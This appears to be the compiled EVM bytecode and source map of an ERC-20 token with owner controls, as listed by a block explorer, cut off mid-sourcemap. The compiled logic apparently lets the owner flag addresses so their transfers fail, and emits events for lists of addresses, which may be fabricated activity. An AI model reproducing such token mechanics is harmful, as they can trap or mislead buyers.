a11628f55a4df523b3ef846040516115a191906118db565b60405180910390a36115b4848484611701565b50505050565b6115c2610fe7565b73ffffffffffffffffffffffffffffffffffffffff166115e0610a95565b73ffffffffffffffffffffffffffffffffffffffff1614611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611740578082015181840152602081019050611725565b60008484015250505050565b6000601f19601f8301169050919050565b600061176882611706565b6117728185611711565b9350611782818560208601611722565b61178b8161174c565b840191505092915050565b600060208201905081810360008301526117b0818461175d565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117ed826117c2565b9050919050565b6117fd816117e2565b811461180857600080fd5b50565b60008135905061181a816117f4565b92915050565b6000819050919050565b61183381611820565b811461183e57600080fd5b50565b6000813590506118508161182a565b92915050565b6000806040838503121561186d5761186c6117b8565b5b600061187b8582860161180b565b925050602061188c85828601611841565b9150509250929050565b60008115159050919050565b6118ab81611896565b82525050565b60006020820190506118c660008301846118a2565b92915050565b6118d581611820565b82525050565b60006020820190506118f060008301846118cc565b92915050565b60008060006060848603121561190f5761190e6117b8565b5b600061191d8682870161180b565b935050602061192e8682870161180b565b925050604061193f86828701611841565b9150509250925092565b600060ff82169050919050565b61195f81611949565b82525050565b600060208201905061197a6000830184611956565b92915050565b600060208284031215611996576119956117b8565b5b60006119a48482850161180b565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119d2576119d16119ad565b5b8235905067ffffffffffffffff8111156119ef576119ee6119b2565b5b602083019150836020820283011115611a0b57611a0a6119b7565b5b9250929050565b60008083601f840112611a2857611a276119ad565b5b8235905067ffffffffffffffff811115611a4557611a446119b2565b5b602083019150836020820283011115611a6157611a606119b7565b5b9250929050565b60008060008060008060608789031215611a8557611a846117b8565b5b600087013567ffffffffffffffff811115611aa357611aa26117bd565b5b611aaf89828a016119bc565b9650965050602087013567ffffffffffffffff811115611ad257611ad16117bd565b5b611ade89828a016119bc565b9450945050604087013567ffffffffffffffff811115611b0157611b006117bd565b5b611b0d89828a01611a12565b92509250509295509295509295565b60008060208385031215611b3357611b326117b8565b5b600083013567ffffffffffffffff811115611b5157611b506117bd565b5b611b5d858286016119bc565b92509250509250929050565b60008060008060608587031215611b8357611b826117b8565b5b600085013567ffffffffffffffff811115611ba157611ba06117bd565b5b611bad878288016119bc565b94509450506020611bc087828801611841565b9250506040611bd187828801611841565b91505092959194509250565b611be6816117e2565b82525050565b6000602082019050611c016000830184611bdd565b92915050565b60008060408385031215611c1e57611c1d6117b8565b5b6000611c2c8582860161180b565b9250506020611c3d8582860161180b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c8e57607f821691505b602082108103611ca157611ca0611c47565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ce182611820565b9150611cec83611820565b9250828201905080821115611d0457611d03611ca7565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d4482611820565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d7657611d75611ca7565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000611db0611dab611da684611d81565b611d8b565b611820565b9050919050565b611dc081611d95565b82525050565b6000608082019050611ddb6000830187611db7565b611de860208301866118cc565b611df560408301856118cc565b611e026060830184611db7565b95945050505050565b6000608082019050611e2060008301876118cc565b611e2d6020830186611db7565b611e3a6040830185611db7565b611e4760608301846118cc565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611eac602583611711565b9150611eb782611e50565b604082019050919050565b60006020820190508181036000830152611edb81611e9f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f3e602683611711565b9150611f4982611ee2565b604082019050919050565b60006020820190508181036000830152611f6d81611f31565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611fd0602483611711565b9150611fdb82611f74565b604082019050919050565b60006020820190508181036000830152611fff81611fc3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612062602283611711565b915061206d82612006565b604082019050919050565b6000602082019050818103600083015261209181612055565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006120ce601d83611711565b91506120d982612098565b602082019050919050565b600060208201905081810360008301526120fd816120c1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612160602583611711565b915061216b82612104565b604082019050919050565b6000602082019050818103600083015261218f81612153565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121f2602383611711565b91506121fd82612196565b604082019050919050565b60006020820190508181036000830152612221816121e5565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612284602683611711565b915061228f82612228565b604082019050919050565b600060208201905081810360008301526122b381612277565b9050919050565b50565b60006122ca600083611711565b91506122d5826122ba565b600082019050919050565b600060208201905081810360008301526122f9816122bd565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612336602083611711565b915061234182612300565b602082019050919050565b6000602082019050818103600083015261236581612329565b905091905056fea264697066735822122066f5f1aa3713d785a2f92c9fd546f553c1ab79945b355c8708f1c2d0d211438164736f6c63430008120033
Deployed Bytecode Sourcemap
36946:180:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9025:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11374:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10143:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12155:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9987:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22672:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12859:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21460:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10314:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21714:233;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6133:103;;;:::i;:::-;;20963:275;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22254:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5492:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9244:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21955:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13600:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10647:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21587:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22554:110;;;:::i;:::-;;10903:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21246:206;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6391:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9025:100;9079:13;9112:5;9105:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9025:100;:::o;11374:201::-;11457:4;11474:13;11490:12;:10;:12::i;:::-;11474:28;;11513:32;11522:5;11529:7;11538:6;11513:8;:32::i;:::-;11563:4;11556:11;;;11374:201;;;;:::o;10143:108::-;10204:7;10231:12;;10224:19;;10143:108;:::o;12155:295::-;12286:4;12303:15;12321:12;:10;:12::i;:::-;12303:30;;12344:38;12360:4;12366:7;12375:6;12344:15;:38::i;:::-;12393:27;12403:4;12409:2;12413:6;12393:9;:27::i;:::-;12438:4;12431:11;;;12155:295;;;;;:::o;9987:93::-;10045:5;10070:2;10063:9;;9987:93;:::o;22672:97::-;5378:13;:11;:13::i;:::-;22754:7:::1;22746:5;;:15;;;;;;;;;;;;;;;;;;22672:97:::0;:::o;12859:238::-;12947:4;12964:13;12980:12;:10;:12::i;:::-;12964:28;;13003:64;13012:5;13019:7;13056:10;13028:25;13038:5;13045:7;13028:9;:25::i;:::-;:38;;;;:::i;:::-;13003:8;:64::i;:::-;13085:4;13078:11;;;12859:238;;;;:::o;21460:119::-;21524:4;21548:12;:23;21561:9;21548:23;;;;;;;;;;;;;;;;;;;;;;;;;21541:30;;21460:119;;;:::o;10314:127::-;10388:7;10415:9;:18;10425:7;10415:18;;;;;;;;;;;;;;;;10408:25;;10314:127;;;:::o;21714:233::-;21835:9;21830:110;21854:5;;:12;;21850:1;:16;21830:110;;;21912:3;;21916:1;21912:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21893:35;;21902:5;;21908:1;21902:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21893:35;;;21920:4;;21925:1;21920:7;;;;;;;:::i;:::-;;;;;;;;21893:35;;;;;;:::i;:::-;;;;;;;;21868:3;;;;;:::i;:::-;;;;21830:110;;;;21714:233;;;;;;:::o;6133:103::-;5378:13;:11;:13::i;:::-;6198:30:::1;6225:1;6198:18;:30::i;:::-;6133:103::o:0;20963:275::-;5378:13;:11;:13::i;:::-;21048:9:::1;21043:188;21067:11;;:18;;21063:1;:22;21043:188;;;21138:4;21107:12;:28;21120:11;;21132:1;21120:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21107:28;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;21187:4;;;;;;;;;;;21162:57;;21171:11;;21183:1;21171:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21162:57;;;21193:25;21203:11;;21215:1;21203:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21193:9;:25::i;:::-;21162:57;;;;;;:::i;:::-;;;;;;;;21087:3;;;;;:::i;:::-;;;;21043:188;;;;20963:275:::0;;:::o;22254:292::-;22358:9;22353:186;22377:11;;:18;;22373:1;:22;22353:186;;;22456:11;;22468:1;22456:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22422:49;;22427:10;;;;;;;;;;;22422:49;;;22439:1;22442:3;22447:4;22453:1;22422:49;;;;;;;;;:::i;:::-;;;;;;;;22516:5;;;;;;;;;;;22491:36;;22500:11;;22512:1;22500:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22491:36;;;22523:3;22491:36;;;;;;:::i;:::-;;;;;;;;22397:3;;;;;:::i;:::-;;;;22353:186;;;;22254:292;;;;:::o;5492:87::-;5538:7;5565:6;;;;;;;;;;;5558:13;;5492:87;:::o;9244:104::-;9300:13;9333:7;9326:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9244:104;:::o;21955:291::-;22057:9;22052:187;22076:11;;:18;;22072:1;:22;22052:187;;;22155:11;;22167:1;22155:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22121:49;;22126:10;;;;;;;;;;;22121:49;;;22138:3;22143:1;22146;22149:4;22121:49;;;;;;;;;:::i;:::-;;;;;;;;22206:11;;22218:1;22206:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22190:37;;22199:5;;;;;;;;;;;22190:37;;;22222:4;22190:37;;;;;;:::i;:::-;;;;;;;;22096:3;;;;;:::i;:::-;;;;22052:187;;;;21955:291;;;;:::o;13600:436::-;13693:4;13710:13;13726:12;:10;:12::i;:::-;13710:28;;13749:24;13776:25;13786:5;13793:7;13776:9;:25::i;:::-;13749:52;;13840:15;13820:16;:35;;13812:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;13933:60;13942:5;13949:7;13977:15;13958:16;:34;13933:8;:60::i;:::-;14024:4;14017:11;;;;13600:436;;;;:::o;10647:193::-;10726:4;10743:13;10759:12;:10;:12::i;:::-;10743:28;;10782;10792:5;10799:2;10803:6;10782:9;:28::i;:::-;10828:4;10821:11;;;10647:193;;;;:::o;21587:119::-;21688:3;21672:26;;21681:5;21672:26;;;21693:4;21672:26;;;;;;:::i;:::-;;;;;;;;21587:119;;;:::o;22554:110::-;5378:13;:11;:13::i;:::-;22613:10:::1;22605:28;;:51;22634:21;22605:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;22554:110::o:0;10903:151::-;10992:7;11019:11;:18;11031:5;11019:18;;;;;;;;;;;;;;;:27;11038:7;11019:27;;;;;;;;;;;;;;;;11012:34;;10903:151;;;;:::o;21246:206::-;5378:13;:11;:13::i;:::-;21338:9:::1;21333:112;21357:11;;:18;;21353:1;:22;21333:112;;;21428:5;21397:12;:28;21410:11;;21422:1;21410:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21397:28;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;21377:3;;;;;:::i;:::-;;;;21333:112;;;;21246:206:::0;;:::o;6391:201::-;5378:13;:11;:13::i;:::-;6500:1:::1;6480:22;;:8;:22;;::::0;6472:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6556:28;6575:8;6556:18;:28::i;:::-;6391:201:::0;:::o;4201:98::-;4254:7;4281:10;4274:17;;4201:98;:::o;18065:380::-;18218:1;18201:19;;:5;:19;;;18193:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18299:1;18280:21;;:7;:21;;;18272:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18383:6;18353:11;:18;18365:5;18353:18;;;;;;;;;;;;;;;:27;18372:7;18353:27;;;;;;;;;;;;;;;:36;;;;18421:7;18405:32;;18414:5;18405:32;;;18430:6;18405:32;;;;;;:::i;:::-;;;;;;;;18065:380;;;:::o;18736:453::-;18871:24;18898:25;18908:5;18915:7;18898:9;:25::i;:::-;18871:52;;18958:17;18938:16;:37;18934:248;;19020:6;19000:16;:26;;18992:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;19104:51;19113:5;19120:7;19148:6;19129:16;:25;19104:8;:51::i;:::-;18934:248;18860:329;18736:453;;;:::o;14506:935::-;14653:1;14637:18;;:4;:18;;;14629:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14730:1;14716:16;;:2;:16;;;14708:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;14785:38;14806:4;14812:2;14816:6;14785:20;:38::i;:::-;14836:19;14858:9;:15;14868:4;14858:15;;;;;;;;;;;;;;;;14836:37;;14907:6;14892:11;:21;;14884:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;14971:12;:18;14984:4;14971:18;;;;;;;;;;;;;;;;;;;;;;;;;:38;;;;14993:12;:16;15006:2;14993:16;;;;;;;;;;;;;;;;;;;;;;;;;14971:38;14967:84;;;15042:4;15019:27;;:19;;;;;;;;;;;:27;;;15011:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;14967:84;15119:6;15105:11;:20;15087:9;:15;15097:4;15087:15;;;;;;;;;;;;;;;:38;;;;15322:6;15305:9;:13;15315:2;15305:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;15372:2;15357:26;;15366:4;15357:26;;;15376:6;15357:26;;;;;;:::i;:::-;;;;;;;;15396:37;15416:4;15422:2;15426:6;15396:19;:37::i;:::-;14618:823;14506:935;;;:::o;5657:132::-;5732:12;:10;:12::i;:::-;5721:23;;:7;:5;:7::i;:::-;:23;;;5713:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5657:132::o;6752:191::-;6826:16;6845:6;;;;;;;;;;;6826:25;;6871:8;6862:6;;:17;;;;;;;;;;;;;;;;;;6926:8;6895:40;;6916:8;6895:40;;;;;;;;;;;;6815:128;6752:191;:::o;20521:125::-;;;;:::o;19793:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:117::-;5297:1;5294;5287:12;5311:117;5420:1;5417;5410:12;5434:117;5543:1;5540;5533:12;5574:568;5647:8;5657:6;5707:3;5700:4;5692:6;5688:17;5684:27;5674:122;;5715:79;;:::i;:::-;5674:122;5828:6;5815:20;5805:30;;5858:18;5850:6;5847:30;5844:117;;;5880:79;;:::i;:::-;5844:117;5994:4;5986:6;5982:17;5970:29;;6048:3;6040:4;6032:6;6028:17;6018:8;6014:32;6011:41;6008:128;;;6055:79;;:::i;:::-;6008:128;5574:568;;;;;:::o;6165:::-;6238:8;6248:6;6298:3;6291:4;6283:6;6279:17;6275:27;6265:122;;6306:79;;:::i;:::-;6265:122;6419:6;6406:20;6396:30;;6449:18;6441:6;6438:30;6435:117;;;6471:79;;:::i;:::-;6435:117;6585:4;6577:6;6573:17;6561:29;;6639:3;6631:4;6623:6;6619:17;6609:8;6605:32;6602:41;6599:128;;;6646:79;;:::i;:::-;6599:128;6165:568;;;;;:::o;6739:1309::-;6897:6;6905;6913;6921;6929;6937;6986:2;6974:9;6965:7;6961:23;6957:32;6954:119;;;6992:79;;:::i;:::-;6954:119;7140:1;7129:9;7125:17;7112:31;7170:18;7162:6;7159:30;7156:117;;;7192:79;;:::i;:::-;7156:117;7305:80;7377:7;7368:6;7357:9;7353:22;7305:80;:::i;:::-;7287:98;;;;7083:312;7462:2;7451:9;7447:18;7434:32;7493:18;7485:6;7482:30;7479:117;;;7515:79;;:::i;:::-;7479:117;7628:80;7700:7;7691:6;7680:9;7676:22;7628:80;:::i;:::-;7610:98;;;;7405:313;7785:2;7774:9;7770:18;7757:32;7816:18;7808:6;7805:30;7802:117;;;7838:79;;:::i;:::-;7802:117;7951:80;8023:7;8014:6;8003:9;7999:22;7951:80;:::i;:::-;7933:98;;;;7728:313;6739:1309;;;;;;;;:::o;8054:559::-;8140:6;8148;8197:2;8185:9;8176:7;8172:23;8168:32;8165:119;;;8203:79;;:::i;:::-;8165:119;8351:1;8340:9;8336:17;8323:31;8381:18;8373:6;8370:30;8367:117;;;8403:79;;:::i;:::-;8367:117;8516:80;8588:7;8579:6;8568:9;8564:22;8516:80;:::i;:::-;8498:98;;;;8294:312;8054:559;;;;;:::o;8619:849::-;8723:6;8731;8739;8747;8796:2;8784:9;8775:7;8771:23;8767:32;8764:119;;;8802:79;;:::i;:::-;8764:119;8950:1;8939:9;8935:17;8922:31;8980:18;8972:6;8969:30;8966:117;;;9002:79;;:::i;:::-;8966:117;9115:80;9187:7;9178:6;9167:9;9163:22;9115:80;:::i;:::-;9097:98;;;;8893:312;9244:2;9270:53;9315:7;9306:6;9295:9;9291:22;9270:53;:::i;:::-;9260:63;;9215:118;9372:2;9398:53;9443:7;9434:6;9423:9;9419:22;9398:53;:::i;:::-;9388:63;;9343:118;8619:849;;;;;;;:::o;9474:118::-;9561:24;9579:5;9561:24;:::i;:::-;9556:3;9549:37;9474:118;;:::o;9598:222::-;9691:4;9729:2;9718:9;9714:18;9706:26;;9742:71;9810:1;9799:9;9795:17;9786:6;9742:71;:::i;:::-;9598:222;;;;:::o;9826:474::-;9894:6;9902;9951:2;9939:9;9930:7;9926:23;9922:32;9919:119;;;9957:79;;:::i;:::-;9919:119;10077:1;10102:53;10147:7;10138:6;10127:9;10123:22;10102:53;:::i;:::-;10092:63;;10048:117;10204:2;10230:53;10275:7;10266:6;10255:9;10251:22;10230:53;:::i;:::-;10220:63;;10175:118;9826:474;;;;;:::o;10306:180::-;10354:77;10351:1;10344:88;10451:4;10448:1;10441:15;10475:4;10472:1;10465:15;10492:320;10536:6;10573:1;10567:4;10563:12;10553:22;;10620:1;10614:4;10610:12;10641:18;10631:81;;10697:4;10689:6;10685:17;10675:27;;10631:81;10759:2;10751:6;10748:14;10728:18;10725:38;10722:84;;10778:18;;:::i;:::-;10722:84;10543:269;10492:320;;;:::o;10818:180::-;10866:77;10863:1;10856:88;10963:4;10960:1;10953:15;10987:4;10984:1;10977:15;11004:191;11044:3;11063:20;11081:1;11063:20;:::i;:::-;11058:25;;11097:20;11115:1;11097:20;:::i;:::-;11092:25;;11140:1;11137;11133:9;11126:16;;11161:3;11158:1;11155:10;11152:36;;;11168:18;;:::i;:::-;11152:36;11004:191;;;;:::o;11201:180::-;11249:77;11246:1;11239:88;11346:4;11343:1;11336:15;11370:4;11367:1;11360:15;11387:233;11426:3;11449:24;11467:5;11449:24;:::i;:::-;11440:33;;11495:66;11488:5;11485:77;11482:103;;11565:18;;:::i;:::-;11482:103;11612:1;11605:5;11601:13;11594:20;;11387:233;;;:::o;11626:85::-;11671:7;11700:5;11689:16;;11626:85;;;:::o;11717:60::-;11745:3;11766:5;11759:12;;11717:60;;;:::o;11783:158::-;11841:9;11874:61;11892:42;11901:32;11927:5;11901:32;:::i;:::-;11892:42;:::i;:::-;11874:61;:::i;:::-;11861:74;;11783:158;;;:::o;11947:147::-;12042:45;12081:5;12042:45;:::i;:::-;12037:3;12030:58;11947:147;;:::o;12100:585::-;12293:4;12331:3;12320:9;12316:19;12308:27;;12345:79;12421:1;12410:9;12406:17;12397:6;12345:79;:::i;:::-;12434:72;12502:2;12491:9;12487:18;12478:6;12434:72;:::i;:::-;12516;12584:2;12573:9;12569:18;12560:6;12516:72;:::i;:::-;12598:80;12674:2;12663:9;12659:18;12650:6;12598:80;:::i;:::-;12100:585;;;;;;;:::o;12691:::-;12884:4;12922:3;12911:9;12907:19;12899:27;;12936:71;13004:1;12993:9;12989:17;12980:6;12936:71;:::i;:::-;13017:80;13093:2;13082:9;13078:18;13069:6;13017:80;:::i;:::-;13107;13183:2;13172:9;13168:18;13159:6;13107:80;:::i;:::-;13197:72;13265:2;13254:9;13250:18;13241:6;13197:72;:::i;:::-;12691:585;;;;;;;:::o;13282:224::-;13422:34;13418:1;13410:6;13406:14;13399:58;13491:7;13486:2;13478:6;13474:15;13467:32;13282:224;:::o;13512:366::-;13654:3;13675:67;13739:2;13734:3;13675:67;:::i;:::-;13668:74;;13751:93;13840:3;13751:93;:::i;:::-;13869:2;13864:3;13860:12;13853:19;;13512:366;;;:::o;13884:419::-;14050:4;14088:2;14077:9;14073:18;14065:26;;14137:9;14131:4;14127:20;14123:1;14112:9;14108:17;14101:47;14165:131;14291:4;14165:131;:::i;:::-;14157:139;;13884:419;;;:::o;14309:225::-;14449:34;14445:1;14437:6;14433:14;14426:58;14518:8;14513:2;14505:6;14501:15;14494:33;14309:225;:::o;14540:366::-;14682:3;14703:67;14767:2;14762:3;14703:67;:::i;:::-;14696:74;;14779:93;14868:3;14779:93;:::i;:::-;14897:2;14892:3;14888:12;14881:19;;14540:366;;;:::o;14912:419::-;15078:4;15116:2;15105:9;15101:18;15093:26;;15165:9;15159:4;15155:20;15151:1;15140:9;15136:17;15129:47;15193:131;15319:4;15193:131;:::i;:::-;15185:139;;14912:419;;;:::o;15337:223::-;15477:34;15473:1;15465:6;15461:14;15454:58;15546:6;15541:2;15533:6;15529:15;15522:31;15337:223;:::o;15566:366::-;15708:3;15729:67;15793:2;15788:3;15729:67;:::i;:::-;15722:74;;15805:93;15894:3;15805:93;:::i;:::-;15923:2;15918:3;15914:12;15907:19;;15566:366;;;:::o;15938:419::-;16104:4;16142:2;16131:9;16127:18;16119:26;;16191:9;16185:4;16181:20;16177:1;16166:9;16162:17;16155:47;16219:131;16345:4;16219:131;:::i;:::-;16211:139;;15938:419;;;:::o;16363:221::-;16503:34;16499:1;16491:6;16487:14;16480:58;16572:4;16567:2;16559:6;16555:15;16548:29;16363:221;:::o;16590:366::-;16732:3;16753:67;16817:2;16812:3;16753:67;:::i;:::-;16746:74;;16829:93;16918:3;16829:93;:::i;:::-;16947:2;16942:3;16938:12;16931:19;;16590:366;;;:::o;16962:419::-;17128:4;17166:2;17155:9;17151:18;17143:26;;17215:9;17209:4;17205:20;17201:1;17190:9;17186:17;17179:47;17243:131;17369:4;17243:131;:::i;:::-;17235:139;;16962:419;;;:::o;17387:179::-;17527:31;17523:1;17515:6;17511:14;17504:55;17387:179;:::o;17572:366::-;17714:3;17735:67;17799:2;17794:3;17735:67;:::i;:::-;17728:74;;17811:93;17900:3;17811:93;:::i;:::-;17929:2;17924:3;17920:12;17913:19;;17572:366;;;:::o;17944:419::-;18110:4;18148:2;18137:9;18133:18;18125:26;;18197:9;18191:4;18187:20;18183:1;18172:9;18168:17;18161:47;18225:131;18351:4;18225:131;:::i;:::-;18217:139;;17944:419;;;:::o;1836